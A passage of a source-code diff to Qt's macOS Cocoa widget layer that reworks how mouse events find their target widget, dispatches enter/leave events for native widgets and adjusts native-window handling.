evtType = [event type]; + NSEventType evtType = [event type]; QPoint qlocalPoint; QPoint qglobalPoint; bool processThisEvent = false; @@ -936,12 +998,12 @@ void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /* : QEvent::MouseButtonDblClick; if (button == Qt::LeftButton && (keyMods & Qt::MetaModifier)) { button = Qt::RightButton; - leftButtonIsRightButton = true; + qt_leftButtonIsRightButton = true; } } else if (eventType == QEvent::NonClientAreaMouseButtonRelease || eventType == QEvent::MouseButtonRelease) { - if (button == Qt::LeftButton && leftButtonIsRightButton) { + if (button == Qt::LeftButton && qt_leftButtonIsRightButton) { button = Qt::RightButton; - leftButtonIsRightButton = false; + qt_leftButtonIsRightButton = false; } } @@ -961,97 +1023,197 @@ void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /* // However we might need to unset it if the event is Release. if (eventType == QEvent::MouseButtonRelease) qt_button_down = 0; -#endif } -bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */event, QEvent::Type eventType, Qt::MouseButton button) +QWidget *qt_mac_getTargetForKeyEvent(QWidget *widgetThatReceivedEvent) +{ + if (QWidget *popup = QApplication::activePopupWidget()) { + QWidget *focusInPopup = popup->focusWidget(); + return focusInPopup ? focusInPopup : popup; + } + + QWidget *widgetToGetKey = qApp->focusWidget(); + if (!widgetToGetKey) + widgetToGetKey = widgetThatReceivedEvent; + + return widgetToGetKey; +} + +// This function will find the widget that should receive the +// mouse event. Because of explicit/implicit mouse grabs, popups, +// etc, this might not end up being the same as the widget under +// the mouse (which is more interresting when handling enter/leave +// events +QWidget *qt_mac_getTargetForMouseEvent( + // You can call this function without providing an event. + // If so, set returnGlobalPoint before the call. + NSEvent *event, + QEvent::Type eventType, + QPoint &returnLocalPoint, + QPoint &returnGlobalPoint, + QWidget *nativeWidget, + QWidget **returnWidgetUnderMouse) { -#ifndef QT_MAC_USE_COCOA - Q_UNUSED(view); Q_UNUSED(event); - Q_UNUSED(eventType); - Q_UNUSED(button); - return false; -#else - QT_MANGLE_NAMESPACE(QCocoaView) *theView = static_cast(view); - NSEvent *theEvent = static_cast(event); + returnGlobalPoint = flipPoint([NSEvent mouseLocation]).toPoint(); + QWidget *mouseGrabber = QWidget::mouseGrabber(); + bool buttonDownNotBlockedByModal = qt_button_down && !QApplicationPrivate::isBlockedByModal(qt_button_down); + + // Resolve the widget under the mouse: + QWidget *widgetUnderMouse = 0; + if (nativeWidget) { + QPoint p = nativeWidget->mapFromGlobal(returnGlobalPoint); + widgetUnderMouse = nativeWidget->childAt(p); + if (!widgetUnderMouse){ + // Cocoa will redirct mouse event to the current + // mouse down widget, which is not what we want for our + // widgetUnderMouse assignment. So we need to check + // if we are actually inside nativeView: + if (nativeWidget->rect().contains(p)) { + widgetUnderMouse = nativeWidget; + } else { + // Ok, fallback to find the widget under mouse ourselves. + widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint); + } + } + } else { + // Calling QApplication::widgetAt is potentially slow, hence the + // reason we avoid it if we can. So supplying a nativeWidget to + // this function is mostly an optimization. But at the same time, + // calling QApplication::widgetAt fails for QMacNativeWidget... + widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint); + } - // Give the Input Manager a chance to process the mouse events. - NSInputManager *currentIManager = [NSInputManager currentInputManager]; - if (currentIManager && [currentIManager wantsToHandleMouseEvents]) { - [currentIManager handleMouseEvent:theEvent]; - } + if (widgetUnderMouse) { + // Check if widgetUnderMouse is blocked by a modal + // window, or the mouse if over the frame strut: + if (widgetUnderMouse == qt_button_down) { + // Small optimization to avoid an extra call to isBlockedByModal: + if (buttonDownNotBlockedByModal == false) + widgetUnderMouse = 0; + } else if (QApplicationPrivate::isBlockedByModal(widgetUnderMouse)) { + widgetUnderMouse = 0; + } - // Handle tablet events (if any) first. - if (qt_mac_handleTabletEvent(theView, theEvent)) { - // Tablet event was handled. In Qt we aren't supposed to send the mouse event. - return true; + if (widgetUnderMouse && widgetUnderMouse->isWindow()) { + // Exclude the titlebar (and frame strut) when finding widget under mouse: + QPoint p = widgetUnderMouse->mapFromGlobal(returnGlobalPoint); + if (!widgetUnderMouse->rect().contains(p)) + widgetUnderMouse = 0; + } + } + if (returnWidgetUnderMouse) + *returnWidgetUnderMouse = widgetUnderMouse; + + // Resolve the target for the mouse event. Default will be widgetUnderMouse, except + // if there is a popup-"grab", mousegrab, or button-down-"grab": + QWidget *popup = QApplication::activePopupWidget(); + if (popup && !mouseGrabber) { + if (!popup->isAncestorOf(widgetUnderMouse)) { + // The popup will always grab the mouse unless the + // mouse is over a child, or the user scrolls: + if (eventType == QEvent::Wheel) + return 0; + returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint); + return popup; + } else if (popup == widgetUnderMouse) { + returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint); + return popup; + } else { + returnLocalPoint = widgetUnderMouse->mapFromGlobal(returnGlobalPoint); + return widgetUnderMouse; + } } - NSPoint windowPoint = [theEvent locationInWindow]; - NSPoint globalPoint = [[theEvent window] convertBaseToScreen:windowPoint]; + QWidget *target = mouseGrabber; + if (!target && buttonDownNotBlockedByModal) + target = qt_button_down; + if (!target) + target = widgetUnderMouse; + if (!target) + return 0; - // Find the widget that *should* get the event (e.g., maybe it was a pop-up, - // they always get the mouse event). - QWidget *qwidget = [theView qt_qwidget]; - QWidget *widgetToGetMouse = 0; - NSView *tmpView = 0; - QWidget *popup = qAppInstance()->activePopupWidget(); - QPoint qglobalPoint(flipPoint(globalPoint).toPoint()); + returnLocalPoint = target->mapFromGlobal(returnGlobalPoint); + return target; +} - if (popup) { - widgetToGetMouse = popup; - tmpView = qt_mac_nativeview_for(popup); - windowPoint = [[tmpView window] convertScreenToBase:globalPoint]; - - QPoint qWindowPoint(windowPoint.x, windowPoint.y); - if (widgetToGetMouse->rect().contains(qWindowPoint)) { - // Keeping the mouse pressed on a combobox button will make - // the popup pop in front of the mouse. But all mouse events - // will be sendt to the button. Since we want mouse events - // to be sendt to widgets inside the popup, we search for the - // widget in front of the mouse: - tmpView = [tmpView hitTest:windowPoint]; - if (!tmpView) - return false; - widgetToGetMouse = - [static_cast(tmpView) qt_qwidget]; - } +static inline void qt_mac_checkEnterLeaveForNativeWidgets(QWidget *maybeEnterWidget) +{ + // Dispatch enter/leave for the cases where QApplicationPrivate::sendMouseEvent do + // not. This will in general be the cases when alien widgets are not involved: + // 1. from a native widget to another native widget or + // 2. from a native widget to no widget + // 3. from no widget to a native or alien widget + + if (qt_button_down || QWidget::mouseGrabber()) + return; + if ((maybeEnterWidget == qt_last_mouse_receiver) && qt_last_mouse_receiver) + return; + + if (maybeEnterWidget) { + if (!qt_last_mouse_receiver) { + // case 3 + QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, 0); + qt_last_mouse_receiver = maybeEnterWidget; + } else if (qt_last_mouse_receiver->internalWinId() && maybeEnterWidget->internalWinId()) { + // case 1 + if (qt_last_mouse_receiver->isVisible()) { + QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, qt_last_mouse_receiver); + qt_last_mouse_receiver = maybeEnterWidget; + } + } // else at lest one of the widgets are alien, so enter/leave will be handled in QApplicationPrivate } else { - extern QWidget * qt_button_down; //qapplication_mac.cpp - QPoint pos; - widgetToGetMouse = QApplicationPrivate::pickMouseReceiver(qwidget, qglobalPoint, - pos, eventType, - button, qt_button_down, 0); - if (widgetToGetMouse) - tmpView = qt_mac_nativeview_for(widgetToGetMouse); + if (qt_last_mouse_receiver && qt_last_mouse_receiver->internalWinId()) { + // case 2 + QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver); + // This seems to be the only case where we need to update qt_last_mouse_receiver + // from the mac specific code. Otherwise, QApplicationPrivate::sendMouseEvent + // will handle it: + qt_last_mouse_receiver = 0; + } + } +} + +bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseButton button, QWidget *nativeWidget) +{ + // Give the Input Manager a chance to process the mouse events. + NSInputManager *currentIManager = [NSInputManager currentInputManager]; + if (currentIManager && [currentIManager wantsToHandleMouseEvents]) { + [currentIManager handleMouseEvent:event]; } + + // Find the widget that should receive the event, and the widget under the mouse. Those + // can differ if an implicit or explicit mouse grab is active: + QWidget *widgetUnderMouse = 0; + QPoint localPoint, globalPoint; + QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(event, eventType, localPoint, globalPoint, nativeWidget, &widgetUnderMouse); if (!widgetToGetMouse) return false; - NSPoint localPoint = [tmpView convertPoint:windowPoint fromView:nil]; - QPoint qlocalPoint = QPoint(localPoint.x, localPoint.y); + if (!nativeWidget) { + // Path typically taken for mouse moves (send + // directly from [QCocoaWindow sendEvent] + if (!widgetUnderMouse) + return false; + nativeWidget = widgetUnderMouse->internalWinId() ? + widgetUnderMouse : widgetUnderMouse->nativeParentWidget(); + if (!nativeWidget) + return false; + } + NSView *view = qt_mac_effectiveview_for(nativeWidget); - // Search for alien child widgets (either on this qwidget or on the popup) - if (widgetToGetMouse->testAttribute(Qt::WA_NativeWindow) == false || qt_widget_private(widgetToGetMouse)->hasAlienChildren) { - QPoint qScreenPoint = flipPoint(globalPoint).toPoint(); -#ifdef ALIEN_DEBUG - qDebug() << "alien mouse event" << qScreenPoint << possibleAlien; -#endif - QWidget *possibleAlien = widgetToGetMouse->childAt(qlocalPoint); - if (possibleAlien) { - qlocalPoint = possibleAlien->mapFromGlobal(widgetToGetMouse->mapToGlobal(qlocalPoint)); - widgetToGetMouse = possibleAlien; - } + // Handle tablet events (if any) first. + if (qt_mac_handleTabletEvent(view, event)) { + // Tablet event was handled. In Qt we aren't supposed to send the mouse event. + return true; } - EventRef carbonEvent = static_cast(const_cast([theEvent eventRef])); + EventRef carbonEvent = static_cast(const_cast([event eventRef])); if (qt_mac_sendMacEventToWidget(widgetToGetMouse, carbonEvent)) return true; - // Yay! All the special cases are handled, it really is just a normal mouse event. - Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([theEvent modifierFlags]); - NSInteger clickCount = [theEvent clickCount]; + Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([event modifierFlags]); + NSInteger clickCount = [event clickCount]; Qt::MouseButtons buttons = 0; { UInt32 mac_buttons; @@ -1059,55 +1221,65 @@ bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */ev sizeof(mac_buttons), 0, &mac_buttons) == noErr) buttons = qt_mac_get_buttons(mac_buttons); } + + // Send enter/leave events for the cases when QApplicationPrivate::sendMouseEvent do not: + qt_mac_checkEnterLeaveForNativeWidgets(widgetUnderMouse); + switch (eventType) { default: qWarning("not handled! %d", eventType); break; case QEvent::MouseMove: + if (button == Qt::LeftButton && qt_leftButtonIsRightButton) + button = Qt::RightButton; break; case QEvent::MouseButtonPress: - [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->view = theView; - [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->theEvent = theEvent; -#ifndef QT_NAMESPACE - Q_ASSERT(clickCount > 0); -#endif + qt_button_down = widgetUnderMouse; if (clickCount % 2 == 0 && buttons == button) eventType = QEvent::MouseButtonDblClick; if (button == Qt::LeftButton && (keyMods & Qt::MetaModifier)) { button = Qt::RightButton; - [theView qt_setLeftButtonIsRightButton: true]; + qt_leftButtonIsRightButton = true; } break; case QEvent::MouseButtonRelease: - if (button == Qt::LeftButton && [theView qt_leftButtonIsRightButton]) { + if (button == Qt::LeftButton && qt_leftButtonIsRightButton) { button = Qt::RightButton; - [theView qt_setLeftButtonIsRightButton: false]; + qt_leftButtonIsRightButton = false; } qt_button_down = 0; break; } - [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->localPoint = localPoint; - QMouseEvent qme(eventType, qlocalPoint, qglobalPoint, button, buttons, keyMods); -#ifdef ALIEN_DEBUG - qDebug() << "sending mouse event to" << widgetToGetMouse; -#endif - extern QWidget *qt_button_down; - extern QPointer qt_last_mouse_receiver; + qt_mac_updateCursorWithWidgetUnderMouse(widgetUnderMouse); - if (qwidget->testAttribute(Qt::WA_NativeWindow) && qt_widget_private(qwidget)->hasAlienChildren == false) - qt_sendSpontaneousEvent(widgetToGetMouse, &qme); - else - QApplicationPrivate::sendMouseEvent(widgetToGetMouse, &qme, widgetToGetMouse, qwidget, &qt_button_down, - qt_last_mouse_receiver); + DnDParams *dndParams = currentDnDParameters(); + dndParams->view = view; + dndParams->theEvent = event; + dndParams->globalPoint = globalPoint; + + // Send the mouse event: + QMouseEvent qme(eventType, localPoint, globalPoint, button, buttons, keyMods); + QApplicationPrivate::sendMouseEvent( + widgetToGetMouse, &qme, widgetUnderMouse, nativeWidget, + &qt_button_down, qt_last_mouse_receiver, true); if (eventType == QEvent::MouseButtonPress && button == Qt::RightButton) { - QContextMenuEvent qcme(QContextMenuEvent::Mouse, qlocalPoint, qglobalPoint, keyMods); + QContextMenuEvent qcme(QContextMenuEvent::Mouse, localPoint, globalPoint, keyMods); qt_sendSpontaneousEvent(widgetToGetMouse, &qcme); } + + if (eventType == QEvent::MouseButtonRelease) { + // A mouse button was released, which means that the implicit grab was + // released. We therefore need to re-check if should send (delayed) enter leave events: + // qt_button_down has now become NULL since the call at the top of the function. + widgetToGetMouse = qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, nativeWidget, &widgetUnderMouse); + qt_mac_checkEnterLeaveForNativeWidgets(widgetUnderMouse); + } + return true; -#endif } +#endif bool qt_mac_handleTabletEvent(void * /*QCocoaView * */view, void * /*NSEvent * */tabletEvent) { @@ -1291,17 +1463,17 @@ void qt_mac_replaceDrawRectOriginal(void * /*OSWindowRef */window, QWidgetPrivat } #endif // QT_MAC_USE_COCOA +#if QT_MAC_USE_COCOA void qt_mac_showBaseLineSeparator(void * /*OSWindowRef */window, bool show) { if(!window) return; -#if QT_MAC_USE_COCOA QMacCocoaAutoReleasePool pool; OSWindowRef theWindow = static_cast(window); NSToolbar *macToolbar = [theWindow toolbar]; [macToolbar setShowsBaselineSeparator:show]; -#endif // QT_MAC_USE_COCOA } +#endif // QT_MAC_USE_COCOA QStringList qt_mac_NSArrayToQStringList(void *nsarray) { @@ -1321,6 +1493,7 @@ void *qt_mac_QStringListToNSMutableArrayVoid(const QStringList &list) return result; } +#if QT_MAC_USE_COCOA void qt_syncCocoaTitleBarButtons(OSWindowRef window, QWidget *widgetForWindow) { if (!widgetForWindow) @@ -1345,6 +1518,7 @@ void qt_syncCocoaTitleBarButtons(OSWindowRef window, QWidget *widgetForWindow) [window setShowsToolbarButton:uint(flags & Qt::MacWindowToolBarButtonHint) != 0]; } +#endif // QT_MAC_USE_COCOA // Carbon: Make sure you call QDEndContext on the context when done with it. CGContextRef qt_mac_graphicsContextFor(QWidget *widget) @@ -1446,6 +1620,7 @@ void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayI } } +#ifdef QT_MAC_USE_COCOA void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse) { OSMenuRef menu = static_cast(theMenu); @@ -1479,12 +1654,24 @@ void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse) } } -#ifdef QT_MAC_USE_COCOA -void qt_cocoaChangeOverrideCursor(const QCursor &cursor) +class CocoaPostMessageAfterEventLoopExitHelp : public QObject { - QMacCocoaAutoReleasePool pool; - [static_cast(qt_mac_nsCursorForQCursor(cursor)) set]; -} + id target; + SEL selector; + int argCount; + id arg1; + id arg2; +public: + CocoaPostMessageAfterEventLoopExitHelp(id target, SEL selector, int argCount, id arg1, id arg2) + : target(target), selector(selector), argCount(argCount), arg1(arg1), arg2(arg2){ + deleteLater(); + } + + ~CocoaPostMessageAfterEventLoopExitHelp() + { + qt_cocoaPostMessage(target, selector, argCount, arg1, arg2); + } +}; void qt_cocoaPostMessage(id target, SEL selector, int argCount, id arg1, id arg2) { @@ -1498,6 +1685,15 @@ void qt_cocoaPostMessage(id target, SEL selector, int argCount, id arg1, id arg2 context:nil subtype:QtCocoaEventSubTypePostMessage data1:lower data2:upper]; [NSApp postEvent:e atStart:NO]; } + +void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount, id arg1, id arg2) +{ + if (QApplicationPrivate::instance()->threadData->eventLoops.size() <= 1) + qt_cocoaPostMessage(target, selector, argCount, arg1, arg2); + else + new CocoaPostMessageAfterEventLoopExitHelp(target, selector, argCount, arg1, arg2); +} + #endif QMacCocoaAutoReleasePool::QMacCocoaAutoReleasePool() diff --git a/src/gui/kernel/qt_cocoa_helpers_mac_p.h b/src/gui/kernel/qt_cocoa_helpers_mac_p.h index 04c2d06..d2978c2 100644 --- a/src/gui/kernel/qt_cocoa_helpers_mac_p.h +++ b/src/gui/kernel/qt_cocoa_helpers_mac_p.h @@ -144,18 +144,14 @@ bool qt_mac_checkForNativeSizeGrip(const QWidget *widget); void qt_dispatchTabletProximityEvent(void * /*NSEvent * */ tabletEvent); #ifdef QT_MAC_USE_COCOA bool qt_dispatchKeyEventWithCocoa(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent); -void qt_cocoaChangeOverrideCursor(const QCursor &cursor); // These methods exists only for supporting unified mode. void macDrawRectOnTop(void * /*OSWindowRef */ window); void macSyncDrawingOnFirstInvocation(void * /*OSWindowRef */window); void qt_cocoaStackChildWindowOnTopOfOtherChildren(QWidget *widget); -#endif void qt_mac_menu_collapseSeparators(void * /*NSMenu */ menu, bool collapse); +#endif bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent); void qt_dispatchModifiersChanged(void * /*NSEvent * */flagsChangedEvent, QWidget *widgetToGetEvent); -void qt_mac_dispatchNCMouseMessage(void */* NSWindow* */eventWindow, void */* NSEvent* */mouseEvent, - QWidget *widgetToGetEvent, bool &leftButtonIsRightButton); -bool qt_mac_handleMouseEvent(void * /*QCocoaView * */view, void * /*NSEvent * */event, QEvent::Type eventType, Qt::MouseButton button); bool qt_mac_handleTabletEvent(void * /*QCocoaView * */view, void * /*NSEvent * */event); inline QApplication *qAppInstance() { return static_cast(QCoreApplication::instance()); } struct ::TabletProximityRec; @@ -165,6 +161,29 @@ Qt::KeyboardModifiers qt_cocoaDragOperation2QtModifiers(uint dragOperations); QPixmap qt_mac_convert_iconref(const IconRef icon, int width, int height); void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayIcon, QIcon *retIcon, QStyle::StandardPixmap standardIcon = QStyle::SP_CustomBase); + +#if QT_MAC_USE_COCOA && __OBJC__ +struct DnDParams +{ + NSView *view; + NSEvent *theEvent; + QPoint globalPoint; + NSDragOperation performedAction; +}; + +DnDParams *macCurrentDnDParameters(); +NSDragOperation qt_mac_mapDropAction(Qt::DropAction action); +NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions); +Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions); +Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions); + +QWidget *qt_mac_getTargetForKeyEvent(QWidget *widgetThatReceivedEvent); +QWidget *qt_mac_getTargetForMouseEvent(NSEvent *event, QEvent::Type eventType, + QPoint &returnLocalPoint, QPoint &returnGlobalPoint, QWidget *nativeWidget, QWidget **returnWidgetUnderMouse); +bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseButton button, QWidget *nativeWidget); +void qt_mac_handleNonClientAreaMouseEvent(NSWindow *window, NSEvent *event); +#endif + inline int flipYCoordinate(int y) { return QApplication::desktop()->screenGeometry(0).height() - y; @@ -221,6 +240,7 @@ public: } }; void qt_cocoaPostMessage(id target, SEL selector, int argCount=0, id arg1=0, id arg2=0); +void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount=0, id arg1=0, id arg2=0); #endif #endif diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp index cd1c9f0..e5e1e00 100644 --- a/src/gui/kernel/qwidget.cpp +++ b/src/gui/kernel/qwidget.cpp @@ -144,6 +144,10 @@ Q_GUI_EXPORT void qt_x11_set_global_double_buffer(bool enable) } #endif +#if defined(QT_MAC_USE_COCOA) +bool qt_mac_clearDirtyOnWidgetInsideDrawWidget = false; +#endif + static inline bool qRectIntersects(const QRect &r1, const QRect &r2) { return (qMax(r1.left(), r2.left()) <= qMin(r1.right(), r2.right()) && @@ -300,7 +304,6 @@ QWidgetPrivate::QWidgetPrivate(int version) #endif #elif defined(Q_WS_MAC) , needWindowChange(0) - , hasAlienChildren(0) , window_event(0) , qd_hd(0) #elif defined (Q_WS_QPA) @@ -1305,9 +1308,9 @@ void QWidgetPrivate::init(QWidget *parentWidget, Qt::WindowFlags f) if (f & Qt::MSWindowsOwnDC) q->setAttribute(Qt::WA_NativeWindow); -#ifdef Q_WS_MAC - q->setAttribute(Qt::WA_NativeWindow); -#endif +//#ifdef Q_WS_MAC +// q->setAttribute(Qt::WA_NativeWindow); +//#endif q->setAttribute(Qt::WA_QuitOnClose); // might be cleared in adjustQuitOnCloseAttribute() adjustQuitOnCloseAttribute(); @@ -1414,10 +1417,6 @@ void QWidget::create(WId window, bool initializeWindow, bool destroyOldWindow) #ifndef Q_WS_QPA if (QWidget *parent = parentWidget()) { -#ifdef Q_WS_MAC - if (testAttribute(Qt::WA_NativeWindow) == false) - parent->d_func()->hasAlienChildren = true; -#endif if (type & Qt::Window) { if (!parent->testAttribute(Qt::WA_WState_Created)) parent->createWinId(); @@ -5405,6 +5404,9 @@ void QWidgetPrivate::drawWidget(QPaintDevice *pdev, const QRegion &rgn, const QP return; #if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA) + if (qt_mac_clearDirtyOnWidgetInsideDrawWidget) + dirtyOnWidget = QRegion(); + // We disable the rendering of QToolBar in the backingStore if // it's supposed to be in the unified toolbar on Mac OS X. if (backingStore && isInUnifiedToolbar) @@ -5492,7 +5494,6 @@ void QWidgetPrivate::drawWidget(QPaintDevice *pdev, const QRegion &rgn, const QP //paint the background if ((asRoot || q->autoFillBackground() || onScreen || q->testAttribute(Qt::WA_StyledBackground)) && !q->testAttribute(Qt::WA_OpaquePaintEvent) && !q->testAttribute(Qt::WA_NoSystemBackground)) { - QPainter p(q); paintBackground(&p, toBePainted, (asRoot || onScreen) ? flags | DrawAsRoot : 0); } @@ -5674,10 +5675,12 @@ void QWidgetPrivate::paintSiblingsRecursive(QPaintDevice *pdev, const QObjectLis QRect boundingRect; bool dirtyBoundingRect = true; const bool exludeOpaqueChildren = (flags & DontDrawOpaqueChildren); + const bool excludeNativeChildren = (flags & DontDrawNativeChildren); do { QWidget *x = qobject_cast(siblings.at(index)); - if (x && !(exludeOpaqueChildren && x->d_func()->isOpaque) && !x->isHidden() && !x->isWindow()) { + if (x && !(exludeOpaqueChildren && x->d_func()->isOpaque) && !x->isHidden() && !x->isWindow() + && !(excludeNativeChildren && x->internalWinId())) { if (dirtyBoundingRect) { boundingRect = rgn.boundingRect(); dirtyBoundingRect = false; @@ -10081,7 +10084,13 @@ void QWidget::setParent(QWidget *parent, Qt::WindowFlags f) #if defined(Q_WS_X11) || defined(Q_WS_WIN) || defined(Q_WS_MAC) || defined(Q_OS_SYMBIAN) if (newParent && parent && !desktopWidget) { - if (testAttribute(Qt::WA_NativeWindow) && !qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings)) + if (testAttribute(Qt::WA_NativeWindow) && !qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings) +#if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA) + // On Mac, toolbars inside the unified title bar will never overlap with + // siblings in the content view. So we skip enforce native siblings in that case + && !d->isInUnifiedToolbar && parentWidget() && parentWidget()->isWindow() +#endif // Q_WS_MAC && QT_MAC_USE_COCOA + ) parent->d_func()->enforceNativeChildren(); else if (parent->d_func()->nativeChildrenForced() || parent->testAttribute(Qt::WA_PaintOnScreen)) setAttribute(Qt::WA_NativeWindow); @@ -10728,7 +10737,13 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on) ic->setFocusWidget(0); } } - if (!qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings) && parentWidget()) + if (!qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings) && parentWidget() +#if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA) + // On Mac, toolbars inside the unified title bar will never overlap with + // siblings in the content view. So we skip enforce native siblings in that case + && !d->isInUnifiedToolbar && parentWidget()->isWindow() +#endif // Q_WS_MAC && QT_MAC_USE_COCOA + ) parentWidget()->d_func()->enforceNativeChildren(); if (on && !internalWinId() && testAttribute(Qt::WA_WState_Created)) d->createWinId(); diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index fc94616..e0cdc16 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -155,7 +155,6 @@ static bool qt_mac_raise_process = true; static OSWindowRef qt_root_win = 0; QWidget *mac_mouse_grabber = 0; QWidget *mac_keyboard_grabber = 0; -extern QPointer qt_button_down; //qapplication_mac.cpp #ifndef QT_MAC_USE_COCOA #ifdef QT_NAMESPACE @@ -179,13 +178,14 @@ static CFStringRef kObjectQWidget = CFSTR("com.trolltech.qt.widget"); /***************************************************************************** Externals *****************************************************************************/ +extern QPointer qt_button_down; //qapplication_mac.cpp extern QWidget *qt_mac_modal_blocked(QWidget *); //qapplication_mac.mm extern void qt_event_request_activate(QWidget *); //qapplication_mac.mm extern bool qt_event_remove_activate(); //qapplication_mac.mm extern void qt_mac_event_release(QWidget *w); //qapplication_mac.mm extern void qt_event_request_showsheet(QWidget *); //qapplication_mac.mm extern void qt_event_request_window_change(QWidget *); //qapplication_mac.mm -extern QPointer qt_mouseover; //qapplication_mac.mm +extern QPointer qt_last_mouse_receiver; //qapplication_mac.mm extern IconRef qt_mac_create_iconref(const QPixmap &); //qpixmap_mac.cpp extern void qt_mac_set_cursor(const QCursor *, const QPoint &); //qcursor_mac.mm extern void qt_mac_update_cursor(); //qcursor_mac.mm @@ -193,7 +193,8 @@ extern bool qt_nograb(); extern CGImageRef qt_mac_create_cgimage(const QPixmap &, bool); //qpixmap_mac.cpp extern RgnHandle qt_mac_get_rgn(); //qregion_mac.cpp extern QRegion qt_mac_convert_mac_region(RgnHandle rgn); //qregion_mac.cpp - +extern void qt_mac_setMouseGrabCursor(bool set, QCursor *cursor = 0); // qcursor_mac.mm +extern QPointer topLevelAt_cache; // qapplication_mac.mm /***************************************************************************** QWidget utility functions *****************************************************************************/ @@ -217,22 +218,13 @@ static QSize qt_mac_desktopSize() #ifdef QT_MAC_USE_COCOA static NSDrawer *qt_mac_drawer_for(const QWidget *widget) { - // This only goes one level below the content view so start with the window. - // This works fine for straight Qt stuff, but runs into problems if we are - // embedding, but if that's the case, they probably want to be using - // NSDrawer directly. - NSView *widgetView = reinterpret_cast(widget->window()->winId()); + NSView *widgetView = reinterpret_cast(widget->window()->effectiveWinId()); NSArray *windows = [NSApp windows]; for (NSWindow *window in windows) { NSArray *drawers = [window drawers]; for (NSDrawer *drawer in drawers) { if ([drawer contentView] == widgetView) return drawer; - NSArray *views = [[drawer contentView] subviews]; - for (NSView *view in views) { - if (view == widgetView) - return drawer; - } } } return 0; @@ -314,7 +306,7 @@ bool qt_mac_is_macdrawer(const QWidget *w) bool qt_mac_insideKeyWindow(const QWidget *w) { #ifdef QT_MAC_USE_COCOA - return [[reinterpret_cast(w->winId()) window] isKeyWindow]; + return [[reinterpret_cast(w->effectiveWinId()) window] isKeyWindow]; #else Q_UNUSED(w); #endif @@ -421,7 +413,14 @@ inline static void qt_mac_set_fullscreen_mode(bool b) Q_GUI_EXPORT OSViewRef qt_mac_nativeview_for(const QWidget *w) { - return reinterpret_cast(w->data->winid); + return reinterpret_cast(w->internalWinId()); +} + +Q_GUI_EXPORT OSViewRef qt_mac_effectiveview_for(const QWidget *w) +{ + // Get the first non-alien (parent) widget for + // w, and return its NSView (if it has one): + return reinterpret_cast(w->effectiveWinId()); } Q_GUI_EXPORT OSViewRef qt_mac_get_contentview_for(OSWindowRef w) @@ -479,11 +478,12 @@ bool qt_isGenuineQWidget(const QWidget *window) Q_GUI_EXPORT OSWindowRef qt_mac_window_for(const QWidget *w) { - OSViewRef hiview = qt_mac_nativeview_for(w); - if (hiview){ + if (OSViewRef hiview = qt_mac_effectiveview_for(w)) { OSWindowRef window = qt_mac_window_for(hiview); - if (!window && qt_isGenuineQWidget(hiview)) { - QWidget *myWindow = w->window(); + if (window) + return window; + + if (qt_isGenuineQWidget(hiview)) { // This is a workaround for NSToolbar. When a widget is hidden // by clicking the toolbar button, Cocoa reparents the widgets // to another window (but Qt doesn't know about it). @@ -491,18 +491,22 @@ Q_GUI_EXPORT OSWindowRef qt_mac_window_for(const QWidget *w) // but at this point it's window is nil, but the window it's being brought // into (the Qt one) is for sure created. // This stops the hierarchy moving under our feet. - if (myWindow != w && qt_mac_window_for(qt_mac_nativeview_for(myWindow))) - return qt_mac_window_for(qt_mac_nativeview_for(myWindow)); + QWidget *toplevel = w->window(); + if (toplevel != w) { + hiview = qt_mac_nativeview_for(toplevel); + if (OSWindowRef w = qt_mac_window_for(hiview)) + return w; + } - myWindow->d_func()->createWindow_sys(); - // Reget the hiview since the "create window could potentially move the view (I guess). - hiview = qt_mac_nativeview_for(w); - window = qt_mac_window_for(hiview); + toplevel->d_func()->createWindow_sys(); + // Reget the hiview since "create window" could potentially move the view (I guess). + hiview = qt_mac_nativeview_for(toplevel); + return qt_mac_window_for(hiview); } - return window; } return 0; } + #ifndef QT_MAC_USE_COCOA /* Checks if the current group is a 'stay on top' group. If so, the group gets removed from the hash table */ 